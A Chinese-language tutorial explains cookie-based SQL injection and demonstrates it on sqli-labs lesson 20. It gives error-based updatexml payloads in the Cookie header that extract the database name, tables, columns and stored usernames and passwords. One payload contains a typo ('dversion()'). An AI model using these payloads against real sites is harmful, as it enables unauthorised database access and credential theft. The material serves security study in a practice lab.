文章目錄
第一節 cookie注入原理
網站傳遞參數的方式
參數類型 | 含義 |
---|---|
get型 | 一般訪問網頁的行爲 |
cookie型 | 伴隨着所有訪問網頁的行爲 |
post型 | 上傳文件,登陸 |
cookie注入原理:對get傳遞來的參數進行了過濾,但是忽略了cookie也可以傳遞參數
。
【cookie注入的原理在於更改本地的cookie,從而利用cookie來提交非法語句。】
形成有兩個必須條件:
條件 | 含義 |
---|---|
條件1 | 程序對get和post方式提交的數據進行了過濾,但未對cookie提交的數據庫進行過濾 |
條件2 | 條件1的基礎上還需要程序對提交數據獲取方式是直接request(“xxx”)的方式,未指明使用request對象的具體方法進行獲取,也就是說用request這個方法的時候獲取的參數可以是是在URL後面的參數也可以是cookie裏面的參數這裏沒有做篩選,之後的原理就像我們的sql注入一樣了。 |
第二節cookie注入的判斷
嘗試常規的注入沒有反應,通過抓包分析,存在cookie值–嘗試cookie注入
第三節代碼審計
第四節Cookie注入實例
以SQLlib-20關爲例
第一步 判斷注入類型
此時判斷出爲但應好閉合,因爲只輸入單引號--報錯--報錯信息未提示單引號錯誤---井號註釋之後---頁面和諧,未出現報錯
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,dversion(),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1) #
]
第二步 .查選表名
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5e),1) #
]
第三步查選字段名
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x5e),1) #
]
此時判斷存在usename r和password
字段
第四步 獲取字段值
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select username from users limit 0,1),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select password from users limit 0,1),0x5e),1) #
]
第五步登錄數據庫後臺驗證
免責聲明
本文檔供學習,請使用者注意使用環境並遵守國家相關法律法規!
由於使用不當造成的後果上傳者概不負責!